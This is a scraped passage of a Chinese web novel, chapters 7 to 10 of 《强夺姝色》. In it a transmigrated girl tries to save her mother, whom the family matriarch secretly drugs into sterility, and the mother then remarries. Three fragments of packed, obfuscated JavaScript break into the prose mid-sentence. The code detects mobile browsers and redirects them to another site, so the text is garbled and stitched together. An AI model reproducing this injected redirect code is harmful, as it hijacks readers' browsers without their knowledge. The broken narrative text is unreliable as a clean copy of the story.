《强夺姝色》 7. 第 7 章 从书院回来时还早,谢柔徽并不着急回去,下了马车和两人一同走到二道门处便顿住脚步。 柳如施疑惑地看向她。 谢柔徽解释自己和娘亲约好了去逛庙会,说起那些有趣的木偶戏和舞狮子,又兴致勃勃地问柳如施姐姐可要同去看热闹。 到底是小门小户出身的,没什么见识。 柳如施微笑婉拒,提裙上台阶。 谢柔徽去找丫鬟,央她帮忙雇个马车,不用太华丽,能容纳两人即可。 两人身后的柳奕昌一听,手一挥道:“不用那么麻烦,我们这辆马车借给你用就是,也省了不少准备的时间。” 谢柔徽雀跃道:“谢谢二公子!” 刚走进门的柳如施滞了滞,冷冷地瞥向自家哥哥,待他走近后,酸酸地说:“等她们用完马车,麻烦二哥让人把马车里外都清洗干净。” “小气鬼。”柳奕昌悻悻道,知道这个妹妹素来有洁癖,无奈答应,“到时候让我的下人亲手洗好了吧!” 谢柔徽留在原地多等了会儿,迟迟不见颜镜棠的身影,纳罕地往院子里走。 颜镜棠不是个不守时的人,约莫有事绊住脚了。 可今日偌大的院子中静悄悄的,往常穿梭忙碌的下人们都古怪地消失了。 清脆的脚步声是这间院落的唯一声源。 周遭弥漫着诡谲的气氛。 谢柔徽感到一阵莫名的心悸,大声呼唤颜镜棠,竟未得到一声回应,便直接冲进了正房里。 房内亦是空空荡荡,梢间里却传来幽幽的痛苦呻吟。 谢柔徽将帘挥开,正看到颜镜棠歪坐在地上,两只手都紧紧按着腹部,连头也抬不起来。 “娘!”谢柔徽冲了过去,先搂住颜镜棠的腰,将对方的胳膊架在自己颈间,咬牙撑站起。 她整个人充当小拐杖,驾着颜镜棠一点点往前挪,最后两人一齐跌到榻上。 耳旁再次传来痛苦的低吟。 谢柔徽一个翻身跳起来,马上去查看颜镜棠的情形。 颜镜棠侧在榻上,用拳头死死顶住小腹,娇艳的面庞失了神采,煞白如纸,豆大的汗珠不断自额头滚落。 “娘,你是来癸水了吗?” 每个人来生理期时的反应不尽相同。 有的人与平时无异,可随意走动。 而有的人则会疼得死去活来,甚至晕厥过去。 谢柔徽虽未体验过那种剧痛,可看颜镜棠的种种症状都似是生理期第一日的反应,所以立即发问。 可颜镜棠却摇了摇头,因她在剧痛之中,竟未注意到自己才十岁的女儿已有了超乎孩童的成熟冷静。 她只担心自己这副模样吓坏了女儿,在疼痛的间隙安抚道:“娘没事,许是早晨贪凉吃坏了肚子,疼一会儿也就没事了,你先回房去,待会儿娘好了就带你去逛庙会。” 她怕误了时辰,耽误女儿去心心念念的庙会,即使这种时刻竟还反过来安慰女儿。 谢柔徽用茶杯倒了些热水给她,可她疼得嘴唇都哆嗦,入口的一大半水又顺着唇角流出来。 谢柔徽手忙脚乱地用手巾去擦,触到颜镜棠又湿又冷的肌肤。 她放下手巾去找汤婆子,想给她灌点热水暖身,可不熟悉房间的陈设,扯着嗓子喊丫鬟也没有一个人来。 她只好作罢,爬到床上去拽被子,想给颜镜棠盖住下半身,可一低头,她愣住了。 一抹分外醒目的鲜红蹭在了被面上。 她直着眼去掀衣裳,可颜镜棠的身体绷着劲,虾米似的蜷缩起来。 她人小力微,扳不动颜镜棠。 过了一会儿,她垂下手,放弃去掀衣裳。 因为更多的鲜血争先恐后地渗了出来。 就算不去掀衣,隔着那厚实的面料,也能看到可怖的出血量。 谢柔徽倒吸了一口凉气,跌跌撞撞地冲出屋子,放声大叫:“玉茉!玉茉!快来人啊!都去哪了!” 她一边大喊,一间间屋子闯进去。 院内无人,她便狂奔出去,好不容易看到一个人影,几乎是扑到对方近前,紧紧拽住她道:“我娘病得厉害,有性命之忧,请姐姐快去找郎中来,此事不能耽误!” 那丫鬟神色慌张,一把撸开她的手,退缩道:“奴婢连府门都出不去,怎么去请郎中,小姑娘你去找别人吧!” 谢柔徽不与她纠缠,马上掉头跑向别处。 可任她将情况说得如何危急。 那些人只推推搡搡,谁也不愿帮她去请郎中。 尤其现在柳同勋还不在府内,她竟连一个相熟的人都没有。 想到那鲜血淋漓的画面,谢柔徽强逼着自己冷静,从种种诡异情形中推测形势,猜到幕后必然有一个无形的大手在推动这一切。 那人不想颜镜棠受到救助。 而从下人们的反应来看,那人的身份不会低。 她犹豫了一瞬,本想去二房找庞氏帮忙。 可她一不熟悉路线,只怕会像无头苍蝇般乱闯乱撞耽误时间。 二是她不知庞氏会不会同那些下人一样袖手旁观。 思来想去,她摸了摸胸口处藏着的碎银,咬牙向大门跑去。 既然无人靠得住,那她便靠自己! 柳府广阔,她提着一口气埋头跑路,一时未看清,竟“砰!”地与人撞个正着。 对方被她这冲力带得后退半步,反应迅速地按住了她的肩膀。 谢柔徽只觉扑入一片甜香中,茫然地揉了揉撞得发痛的额头,听到侧旁传来小厮的惊呼。 她向声源处看去,视线猛地攫住那张熟面孔。 “东纨小哥!” 谢柔徽看到站在一旁的东纨,简直要喜极而泣了,忽视了他有些复杂的表情,噼里啪啦说了一通。 可她方才求救时喊劈了嗓子,现下开口便像鸭子似的嗓音粗噶,越说那个东纨的表情越迷蒙。 “你慢些说,到底发生了什么事?” 按在肩膀处的手指紧了紧。 谢柔徽这才想起面前这个被自己忽视的人。 她抬头,瞧见张秀美面孔,正垂首看过来,黑润的眼眸中倒映出狼狈的她,辨不出情绪。 是柳同勋的长子,柳显章。 这是两人第三回见面。 对方比她高了许多,全身衣裳一丝不苟,连条褶子都没有,唯独胸前那里被她方才蹭得凌乱。 十四的少年,已渐渐褪去稚气,身量高挑得似是个稳重的贵公子了。 虽知他必定不喜她与颜镜棠。 可眼下也没有更好的选择了。 谢柔徽将情况完完整整地叙述了一遍。 包括院里的异状和那些下人百般推拒的态度。 她说完后,一旁的东纨看向主子,两人对视一眼,显然已猜到什么。 柳显章再次低头,看向这个满头热汗的小姑娘,问道:“你有钱付诊金?” 谢柔徽心中一凉,猜到对方莫不是也想甩开自己这个烫手山药。 可她好不容易才求到这么一株救命稻草,焉能轻易放手。 她其实偷偷存了一些钱以备不时之需,可她拿着钱出去找郎中实在是下下之策。 柳府守卫是否听令不让郎中入府? 而那背后之人又是否能同意那郎中为颜镜棠诊治? 一切都是未知数。 而柳显章不同,他是柳府的长孙,说话自然是有一定的分量的。 她咬住嘴唇,撒了谎,“我没有钱,可我没有别的法子了,没有人愿意帮我,我……我就跪在医馆前求他们,直到他们愿意来为止。” 说着说着,她可怜巴巴地攥紧了柳显章的袖子,又黑又亮的眼睛里涌出泪水,哭得上气不接下气,“我好怕,娘亲……娘亲她流了好多血,她会不会死,为什么没有人愿意救救她,求求你,求求你帮帮我们,我不想失去娘亲,我只有娘亲了。” 东纨心里清楚只是个烂摊子,只等着主子敷衍过去,可听她这么一说,心咯噔一下,马上去瞧主子。 果然…… 柳显章盯着眼泪汪汪的小姑娘,眼神有短暂的放空,不知记起了怎样的回忆,到底还是软了心肠,忽而道:“府里有坐诊的大夫,你不用出府。东纨,你去请大夫过去一趟。” 东纨认命地准备去跑腿,柳显章却拦住他,“别提颜娘子,就说是我病了。” 东纨一愣,点头应下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815747|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你先回去,大夫马上就到。”柳显章将她轻轻推开,转身离去。 谢柔徽马上跑回院子,在门口稍等了会儿,果然看到背着药箱的大夫往这边来。 那大夫脚步急促地往西厢房去,却被个陌生的小姑娘拦住,“不在这个屋!” 大夫跟着她走了几步,忽然反应过来,“不是大公子病了吗?” 谢柔徽不搭腔,拼命拽着他,直到进了正房。 两人同时嗅到一股微淡的血腥味。 颜镜棠还是她离去前的姿势躺在榻上,只是手掌已松软无力地垂在榻侧。 谢柔徽扑上去摸她的颈脉。 脉搏微弱,但还未消失。 谢柔徽刚松了一口气,便被大夫伸手拨到一旁,“小姑娘别捣乱。” 那大夫行医数十年,稍看了两眼便知情况严重,马上放下药箱去诊脉。 谢柔徽焦灼地攥住双手,透过窗似是看到有身影一闪而过。 她没有半分犹豫,立即跑出屋子,叫住那往柱子后躲藏的人,“玉茉姐姐!快去传话让柳叔叔回来,就说我娘亲出事了!” 玉茉表情尴尬地从柱子后走出来,看到谢柔徽一张小脸爬满汗迹,自己早晨为她亲手梳好的发髻也已散了大半,心中不忍,还是点了点头,匆匆向外走去。 一个多时辰后柳同勋便从外面赶了回来。 他似是骑马疾驰赶回来的,风尘仆仆地进了屋。 颜镜棠刚服了药睡下。 临出门前还盈盈向他笑的人,转眼便被磋磨成这副模样。 柳同勋大怒,抓住大夫问道:“到底怎么一回事?” 那大夫刚看诊完毕,被他信手一抓,心惊胆战道: “颜娘子似是误食了大寒之物,该物对母体损伤极大,以致血崩之症,现下血已止住了,我又开了些温补的药给颜娘子服下,不过若要对症下药,还需清楚颜娘子到底所服何物?” 柳同勋回忆了这两日的膳食,“我们每天都吃住在一处,为何我没事?” 显然是有人故意毒害了颜镜棠。 现下颜镜棠还昏睡着,柳同勋想了想,追问道:“她……可会落下什么病根儿?” 大夫沉痛道:“颜娘子日后可能会子嗣艰难。” 此话犹如轰然一拳狠狠砸在柳同勋面上。 他日思夜想,做梦也盼着颜镜棠能诞下自己的孩子,来加深彼此的感情。 “怎么会?怎么会!我才离开这么一会儿,府里怎么就出了这档子事!”柳同勋悔不当初,扬声叫来下人,质问她们可记得颜镜棠吃了何物。 几名丫鬟齐齐缄默,谁也答不上来。 柳同勋恨得双目通红,立即发话将人牙子找来,把这些粗笨丫鬟一块发卖了。 丫鬟们有苦难言,跪在地上不停喊冤,央求柳大爷放过她们。 院子里闹得人仰马翻,门口竟又有人造访。 庞氏忧心忡忡地走进来,满面焦急道:“我才得着信,丫鬟嘴笨说不清楚,我想着亲自来看一看才放心,颜娘子还好吗?” 她盛情难却,柳同勋便撩帘让她远远地看了一眼。 庞氏舒了口气,“丫鬟们也是传了两三道的消息,传到我耳朵里时竟变成了颜娘子病得快死了,真给我吓坏了,回头我非得罚罚这些个乱嚼舌头的丫头们。” 她又问起颜镜棠是什么病症。 柳同勋开不了口,支支吾吾地只说是妇人病。 庞氏道:“我那从娘家带回来不少好药,对妇人身子最有裨益,待会儿我便让丫鬟捡上好的拿来。” 庞氏娘家是有名的医药世家,她口中的好药自是些花钱也买不来的稀罕物。 柳同勋郑重地谢过她,将她送出来。 庞氏叹道:“只盼着妹妹能早些好起来,妹妹才从老太太那回来就病了,估摸着老太太那也急呢,我也得赶去老太太那一趟说明情况,要不然指不定又传成什么样呢!” 柳同勋的面上忽而阴云遍布,咬紧了后槽牙强忍着才没立时发作出来,勉强将庞氏送走,脑中反复回响着:镜娘才从老太太那回来就病了。 他的手在袖中慢慢掐紧了,还是难敌恨意,如一阵旋风般冲了出去。 8. 第 8 章 柳同勋出去后一屋子的人面面相觑。 大家都知道他是去找老夫人了。 可谁都不敢劝阻。 城门失火殃及池鱼。 毕竟柳同勋在盛怒之下,他们不过是被主子们使唤的奴才,不想吃挂落儿。 谢柔徽冷眼看着这些人精彩纷呈的表情,退回了梢间。 她虽早已猜想那幕后主使是柳家老夫人,可那时离真相仍隔着层遮羞布。 如今猜想被证实后,又是另一番感想。 柳家老夫人,生在涁州的人无人不知,无人不晓其名。 一个雷厉风行的铁娘子。 柳家在失去家主后,正是靠着柳家老夫人的铁血手段才得以兴盛至今。 谢柔徽最初听闻她的事迹后十分敬佩这位老夫人。 可当她的这份魄力和果决运用到另一个女人身上时,就变成了狠毒。 她的儿子迷恋颜镜棠,她不去管教她的儿子,却对颜镜棠出手。 想到柳同勋被愤怒驱使着,会用某种手段反而去报复他的母亲。 谢柔徽陡然升出了类似幸灾乐祸的复杂情愫。 落在榻上的手指忽而动了动。 谢柔徽收回杂念,忙凑过去,“娘亲,你醒了,饿不饿?渴不渴?哪里不舒服?我去喊大夫来。” 不知颜镜棠是否听到了那大夫的话,她眨了眨眼,眨掉了将落未落的泪珠,声如蚊讷道:“快去,拦住你柳叔叔,叫他回来。” 看这样子,颜镜棠竟想息事宁人。 谢柔徽不想去追,站在原地不动。 可在病榻上的颜镜棠语气虚弱地央求她,见她不动,竟还掀了被子欲自己动身外出。 谢柔徽攥着幔帐的手慢慢地放松了力道。 最终,她还是按照颜镜棠要求的那样急奔出房间。 可一个小孩子的脚程能有多快。 当她一边问路一边跑过去时,柳同勋早已进去有一盏茶的时间。 这院里的丫鬟都不待见她。 她索性躲在廊下,偷觑着正房的动静。 房内显然已经过一轮争吵,仍然火药味十足。 柳同勋双眼涨红,气得身体乱颤。 而柳老夫人穿着福寿纹对襟褂,在丫鬟婆子们的簇拥中心,端端正正坐着,显得格外平静。 她方才那些话似乎还在屋内回荡。 “我给她的是世家养伎子用的烈药,服用后终生绝育,她以后都别想有孩子。” “你以为我当初为什么会同意这种女人入府?这种浪荡货,你被迷了心我管不了,真任由她生下儿子,还不得把柳府搅得腥风血雨?” “柳家世代的基业以后要交给章哥儿,不能毁在你手上,章哥儿的娘才走几年,你算过没有?你不疼自己的亲生儿子,那我来疼!” 柳老夫人不动声色地望着自己的大儿,她肚子里掉下来的一块肉,她捧在手心惯养宠大的亲子! 如今,因着一个女人,母子离了心。 柳老夫人油然腾起无力感。 柳同勋还如目视仇敌般与她对峙。 漫长的寂静后,屋内轰然一声巨响,丫鬟嬷嬷们惊慌失措地往后躲去。 被掀翻在中央的厚沉桌子咔地炸出三道裂痕,瓷片溅到四处。 柳老夫人猛地向前探身,厉声道:“你疯了不成?你有半点柳家长子的风范吗!” 在她嘶哑的斥责声中,柳同勋冷笑:“我自小就按着您的心意生活,娶妻生子,没有一件事是按着自己的想法来,可今天,我好不容易才遇到镜娘,好不容易快活片刻,您却亲手毁了她!”他说罢踩着一片狼籍走出屋子。 廊下站着个瘦瘦小小的身影,与他对视后惧怕地向后缩了缩。 柳同勋知道自己方才的表情一定很狰狞。 他听说事发时,院里的下人们都被老太太遣散了。 小姑娘无助地到处求人救她的娘亲。 她还这般小的年纪。 “柔徽,吓到你了吗?”柳同勋走过来将她抱起,“今日的事,怪柳叔叔不好,没能保护好你娘亲,以后不会了。” 他信誓旦旦地保证。 此事后,颜镜棠在榻上养了半个月,身下落红却一直淋漓不断,每日药里泡着,整个人憔悴了不少,躺在那仿若冰雪堆就的,马上就要消融了般。 中间庞氏曾指使丫鬟来送过两回药材。 可她自己却没来看望过一次。 不是她不想来,是她脸上顶着巴掌印见不了人。 柳同勋和柳老夫人吵得人尽皆知,这个消息自然也传到了二房。 柳泽盛多问了几个人,这才知道问题出在自己妻子身上。 “你就管不住你那张嘴!长舌妇!你不知道祸从口出吗?” 庞氏被骂得抬不起头,委屈地低喃了一句,“我哪知道是老太太下的药。” 柳泽盛的怒火猛地挑高,“蠢货!”他狠狠地扇了庞氏一记耳光,“你不会用脑子想想吗?就因为你从中挑拨,惹得我大哥和母亲大吵一架,母亲气得旧疾又犯了,你还有脸说?” 庞氏好歹也是正经人家的小姐,大庭广众被夫君打了一巴掌,羞愤欲死,当即又哭又闹地扯白绫要吊死在房梁上。 柳奕昌和柳如施闻声跑来,好一番从中调和,庞氏抱着一对儿女哭哭哒哒,闹了三四天才彻底消停。 柳同勋得知此事后,由衷感叹道:“我二弟虽与我不是同胞兄弟,待我却极讲义气。” 他在家中陪了颜镜棠几天,只是生意和人情往来都需要他做主,大半时间还是一直跑在外面。 谢柔徽每天天不亮便起床,盯着丫鬟仆妇们煎药,亲自给颜镜棠端过去,再看着颜镜棠服下,全程不曾松懈。 这么熬下来,她整个人都瘦了一圈,下巴颏尖尖的,衬得双眼愈发大得吓人。 还是长身体的年纪,哪禁得起这么折腾。 颜镜棠抚摸她的发顶,不敢去摸那瘦得凸起的肩骨,眼里满是心疼。 那一下一下轻缓的抚摸,谢柔徽舒服地眯起眼,看着恢复了些许精神的颜镜棠,忽然冒出一句话: “娘亲等你彻底好了我们就离开吧。钱够花就成了,留在这怪没意思的。” 头顶上方的手掌一滞。 “府里有人欺负你吗?” “没有。” “柳叔叔对你不好?” “也不是。” “那为什么想走?”颜镜棠微微抬起头看她。 因为不想再每日担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815748|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊受怕,不想看你被柳老夫人欺负而毫无还手之力,不想你卷入纷争之中被磋磨得骨头渣都不剩。 她最初穿来时与懵懂的初生婴儿也没两样。 周遭所有一切对她而言都是全然陌生。 她用了一年时间来适应。 这一年里她与颜镜棠相依为命,看着颜镜棠为她哭,为她笑,为她操劳,一个母亲的柔情尽数浇灌在她身上。 她虽不是颜镜棠真正的女儿,可如今也视颜镜棠为唯一的亲人。 她不知柳老夫人还会怎么对付颜镜棠。 以柳老夫人的势力,大概处置她们就像碾死蚂蚁般轻松吧。 现下想起初入柳家时的欣喜,只觉得很讽刺。 谢柔徽将下巴抵在被褥上,半晌后嘟囔了一句,“我不喜欢那个老夫人,她对你不好,万一她再害你怎么办?” 想到那碗绝育药,颜镜棠摇头苦笑,“不会的,她不会再对付我了,我已对她毫无威胁,若我们现在离开,那一切牺牲都白费了。” 望着女儿澄净的眼,她意识到女儿还年幼,恐怕理解不了那么多,换了温柔的声调哄她,“柔徽乖,不用再担心娘亲,听话,回去好好睡一觉,明天再来看娘亲。” 谢柔徽不理解。 柳府中还有什么值得留恋的? 干脆拿上应得的补偿走了,买房置地,过自己的小日子。 难道颜镜棠真的对柳同勋生情了? 谢柔徽换了同情的眼神。 那可真的太糟糕了。 她劝不动颜镜棠,年岁太小,有些话说不出口,若非要说出来又显得太怪诞了。 如今,她能做的还真是回去睡一觉。 这些日子熬得她脑子都钝住了。 在路过西厢房时,她停下脚步,想了想,决定去感谢下柳显章。 树下支了一个藤椅。 柳显章正躺在上面看书,斑驳细碎的阳光拂在面上,清透白皙,还能看到脸颊处细小的绒毛。 见她来,柳显章坐了起来,原枕在身下的墨发垂到了肩侧,被他一把捞起反手甩到背后。 听明她的来意,柳显章弧度细微地弯了弯唇角,姑且能算是在笑。 他待人一向客气。 看她身量矮小地戳在门口,似是比前些日子更消瘦了些,柳显章让丫鬟拿一匣子糖给她。 谢柔徽两只手抱着匣子,粗略一扫,就瞧见梨膏糖、饴糖、龙须酥、麻糖等诸多品类的糖果。 都是小孩子爱吃的。 她犹豫了下,要不要装出口水直流的模样? 毕竟这个年纪的小孩正是脸上藏不住事的。 不过柳显章已躺回去继续看书了,她也无须再表演。 柳显章对她从来没有明显的敌意。 不过谢柔徽能感受到,柳显章不喜她。 这也正常。 若换作是她,父亲平白无故地要娶一个陌生女人做继母,家里还多了个没有血缘关系的女孩与自己分享那本就为数不多的父爱,那她也会讨厌那个孩子。 以柳显章目前的表现来说,他的涵养已经很好了。 所以谢柔徽也没想能让他多喜欢自己。 表达完谢意,他们唯一的交集也就此结束。 9. 第 9 章 整一个月后,在榻上精心养护的颜镜棠恢复了些精神,也能随意下地行走,面上虽蜡黄带着病气,可身形却多了几分弱风扶柳的破碎感,更易唤起人怜惜。 谢柔徽依然坚持每日送药,只是这次才端着药碗走到墙根底下,便听到窗内传来柔弱的一声: “大爷忙了一整天,歇会儿吧,我已大好,不必再为了我如此操劳。” 衣料摩挲声和床架吱呀声响起。 房内另一人坐在床沿,似愧似怜道:“身上可还疼着吧,嘴唇都白着,若哪里不舒服便说,我让大夫给你瞧瞧,这膏药贴着可管用吗?是我那弟媳送来的,她虽人没来,可关心你呢。” “我晓得,弟妹是个实在人,派丫鬟送了不少补品过来,那份量当饭吃也足够了。”颜镜棠的声音低下去,“这事原也不怪她的,都是我性子不够讨喜,才惹得老夫人生厌。” 止不住的抽泣声溢出。 柳同勋叹了一口气,“我娘她年纪大了后越发刁钻尖刻,你已经做得够好了,换成别人她也会百般挑剔。” 药碗的碗底烫手,谢柔徽将碗轻轻搁在台子上,交给丫鬟端进去,自己安静退了出去。 颜镜棠的哭音渐顿,怯懦道:“我日后恐怕再难有身孕,无法为勋郎生儿育女,又怎么好独占着勋郎,勋郎你……你另娶吧,娶一个老夫人喜欢的高门贵女,千万别再重蹈我的覆辙。” 她的嗓音本就娇柔,如今又大病初愈,轻颤低哑,琉璃易碎般惹人心疼。 想到镜娘因自己才落得如此境地,柳同勋又怎么会抛弃她。 那句话如激将法一般,激得柳同勋嗓音陡然拔高,将她紧搂在怀中,一字一句地立誓道:“主母之位只能是镜娘的,谁也抢不走!” 十七年前,商户出身的柳府长子高娶了官家之女,轰动了半城。 十七年后,柳府长子续弦,娶的却是个再醮的寡妇。 此事一时间成了众人茶余饭后的谈资。 柳同勋自然知晓有人非议这门亲事,赌气般安排迎亲队伍自胡同口外足足排了二十丈远。 颜镜棠是二嫁,娘家又不曾助力,原本是拿不出嫁妆的。 柳同勋为了给她一个体面,掏钱添置了诸多田产地契,光各色头面首饰和绸缎料子等就堆叠了几十个箱子。 长身玉立的柳同勋站在低矮瓦房前,俯身抱起颜镜棠,将其亲自抱到花轿上。 这般庄重浩大的依仗,引得胡同中那些旧邻纷纷诧异地探出头来。 谁能想到小门小户出身的颜镜棠竟能一朝翻身,不仅扒上了柳家这棵苍天大树,还成了柳同勋的正头娘子,恨煞了多少曾经欺辱过她的妇人。 柳同勋骑在高头大马上,为身后的红轿开路。 一路吹吹打打到了柳府,那鸣锣奏乐声自然也传到了柳府内宅。 柳老夫人歪靠着织金引枕,听完刘妈妈绘声绘色的描述后,冷笑道:“一个声名狼藉的女人娶进门了,还这般大张旗鼓,柳府的人都被他给丢尽了!” 刘妈妈犹豫道:“刚才大爷才使人请老太太到前院去……”她攫住上方那锐利的眼神,顿了顿,才道:“去为他们二人证婚。” “滚——!叫他的人滚!” 果不其然,老夫人大怒,将引枕狠狠拂到地上。 她原想着那女人既已失去生育能力,日后也翻不出什么风浪,便对其睁一只眼闭一只眼。 谁曾想,她的长子为了取悦那女人竟敢伸手来打亲娘的脸面。 柳老夫人闭了闭眼,忽而开口叫住刘妈妈,“等等,把那小厮扣下打三十板子,狠狠地打,然后再将他抬到他主子面前去!” 双方的长辈均未到。 两人便对着空空如也的堂前拜天地。 亲朋们并不以为奇,笑着拱手庆贺,参加酒席。 刘管事上前道:“老夫人身子不适来不了,刚遣了下人来。” 柳同勋忙道:“快请进来。” 岂知从大门处来的并不是来传话道贺的人。 二人抬着一条板凳进来,板凳上的小厮被打成血人模样,耷拉着头,动也不动。 血滴滴哒哒淌了一路。 看到这一幕的众人愣在原地。 血溅现场,堪称最怨毒的诅咒。 颜镜棠在喜帕下敏锐感知到周遭陡然寂静,牵着她的那只手也瞬间僵硬。 她掀开喜帕,看到柳同勋紧咬着后槽牙,脸色铁青,已在崩溃边缘。 “勋郎!”颜镜棠按住他,摇了摇头。 新娘子今日上了妆,眼波如水般温柔,低声恳求他不要冲动。 柳同勋强压着火气,命人将那小厮带下去医治。 好在主婚人擅长活跃气氛,三言两语岔开了话题。 两人入洞房,合卺酒,由喜娘用剪子各取了一绺头发结成喜结,真正从名义上结成夫妻。 谢柔徽看着两人入洞房,便在玉茉护着向外走去,手心捧着喜糖,吃着却没什么滋味。 院子里显得安静许多。 西厢房处冷冷清清,窗口处亮着一盏灯,映出少年伏案的清瘦身影。 比起柳家其他人,身为柳同勋的长子,他却对这桩婚事显得漠不关心。 第二日,柳同勋开始琢磨让两个孩子改口一事。 柳显章不与他们一同用饭,吃过才来,让小厮在门外候着,一提衣摆进门,对着柳同勋道了声“父亲安。” 柳同勋颔首,盼着这个早慧的儿子能再道声“母亲安。” 可柳显章颜色淡淡,垂着眸不知在想什么,将父亲新娶的继母视作空气。 颜镜棠见他年纪不大,却和旁的孩子不同,鲜少有依赖父母的情绪,周身凭空生了道隔阂一般。 再望了望一旁的柳同勋,颜镜棠在心底叹气,章哥儿年少丧母,而柳同勋为人一向粗心大意,很少关心这个儿子,所以才养成章哥儿冷漠拘谨的性子。 四周陷入诡异的安静中。 柳同勋再次望向自己的长子,不知如何开口,忽然余光看到被玉茉带进来的小姑娘,眉间一喜,招手道:“柔徽快来!” 谢柔徽早在进门前就观望到屋内情形。 那三人表情各异,恐怕没有好事等着她。 谢柔徽故意慢腾腾地走,本想悄悄挪到颜镜棠身后,却被柳同勋提前拦住,大手抚过她的后背,指着那个面无表情的少年,示意她看过去。 她和柳显章差着四岁。 柳同勋笑呵呵地让谢柔徽改口叫柳显章为哥哥。 “以后都是自家人了,当然要亲近些。” “章哥儿,你这个做兄长的也要多照顾妹妹,听见没有?” 柳显章的手在后面轻轻推她。 谢柔徽被迫迈了一步,站在柳显章面前,对上那双没甚温度的眸子。 宽阔的花厅似是瞬间变得逼仄起来。 “……哥……哥。” 这两个字似是被堵在嗓子里,好不容易挤出来,又沙哑又难听。 好在柳同勋没让她再喊一次。 就算那柳显章不开口,抵触的情绪已经外溢了。 和漠然的柳显章对望,她真的说不出那两个字。 “两个人才刚见过几次面,以后再多熟悉便好了。”颜镜棠及时解围,笑吟吟地问柳显章,“今日还要去书院吗?” 柳显章回道:“要去的,马车已备好,正在门口等着我。” 颜镜棠稍显惊讶道:“平白让他们等这么久,不想竟耽误了你时间,你去吧。” 柳显章向她一揖,转身出门。 柳同勋不满道:“我将他惯坏了,如今竟这么不知礼数。” 他今日将两个孩子一齐喊来正是想让他们改口,也是让章哥儿承认这个继母。 结果颜镜棠心软,看他实在不愿,索性成全了他。 “章哥儿是个有主见的孩子,逼得太过反倒不好了。”颜镜棠拍拍谢柔徽的头,“去找玉茉陪你玩吧。” 谢柔徽蹦蹦跳跳跑出去。 颜镜棠又与柳同勋闲话家常道:“章哥儿既聪明又懂得用功,小小年纪便已考中秀才,我看他是个有大出息的,日后考取功名,跻身为官家也指日可待。” 柳同勋不冷不热地“哼”了声,“那屡考屡不中的何止一二。” 颜镜棠瞧了他一眼,用手挽住他的手臂,笑道:“是呢,能考中秀才者已经是凤毛麟角。” 柳同勋的脸色才好看了些,又说道:“若想入仕,倒也不用那么死脑筋地读书。”他提及同为商户的友人,“家中有点闲钱,纳粟捐了了个监生,后来又拿钱上下打点了一通,得了个芝麻粒大小的主簿做,可惜他一没文才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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颜镜棠虽嫁与他为妻,却从不摆正室夫人的谱,闲暇时与丫鬟们一起绣花做活也是常有的。 虽被有心人诟病为不分尊卑,行为不端。 可柳同勋却甚是喜爱她这般鲜活生动的小模样。 那一俯身时杨柳枝般细柔的腰肢,谁又能想到镜娘是二嫁过的妇人。 他抬起茶盅,吹了吹。 他曾调查过颜镜棠那亡夫。 谢松冉,谢家的嫡长子。 虽他不愿将自己和那短命鬼放在一块比较,可也不得不承认,那谢松冉是个文才斐然的才子。 十三岁考中秀才,十七岁中举,仕途一片大好。 可惜他后来还未继续参考为官便已病逝。 福薄之人呐。 他再次看向弯腰铺床的镜娘。 镜娘喜欢有学问的人。 想当初他也是会吟诗作画,附庸风雅,不似其他公子哥那般如情场老手的油滑,这才得镜娘青睐。 今日午后这番话虽是闲聊,却已在柳同勋心中泛起阵阵涟漪。 接下来一段时日他又请了几名妇科圣手到府上,想为颜镜棠调养身体,到底还没放弃让她生养一事。 可惜那些大夫都是同一套说辞,最后也只是建议颜镜棠可搬到气候更温和的地界住几年,对身子恢复大有裨益。 柳同勋虽已有了长子,可还是想和镜娘生养个他们两人的孩子。 柔徽那女娃乖巧伶俐,他很喜欢。 可她却是颜镜棠和那亡夫所生。 每回颜镜棠抱着柔徽在怀里注视,他便会在心中酸酸地想:镜娘抱着女儿,可是会想到那亡夫? 他也想有个自己的女儿。 一个像他的女儿,能得镜娘疼爱,更胜谢松冉的女儿。 柳同勋开始有意无意地查算各州各县空缺的官职。 既然想效仿他们纳粟捐官,自然要做一番功课。 他花钱通门路时特意提及想去一处气候温和,山清水秀的地界。 对方呵呵笑道:“柳大爷爱妻。” 送礼说人情,哪项都要花钱,虽纳粟捐官明码标价,可却只能买到监生的身份。 真想获得实职,少不了拿白花花的银子去填那数不清的无底洞。 不过他柳同勋最不缺的就是钱。 等这事有了眉目之后。 柳同勋施施然地走入柳老夫人的院子,当着一众仆役的面,宣布了这个惊天动地的消息: 他两月后就要去临安任职县丞。 柳同勋负着手,“我要带镜娘一起走,帮着她调养身子。 10. 第 10 章 当日,身子一向硬朗的老夫人被气晕两次。 刘妈妈掰开老夫人紧闭的牙关,用指节塞入保心丸。 待老夫人悠悠醒转后,虚弱地吐出二字:“冤孽!” 都是命里的冤孽! 等柳同勋再来时,她躺在榻上,无力地歪着头,说话时喉咙里嗬嗬吐气。 “你还记得自己是柳家的长子吗?你若一走了之,那柳家的家业怎么办?” 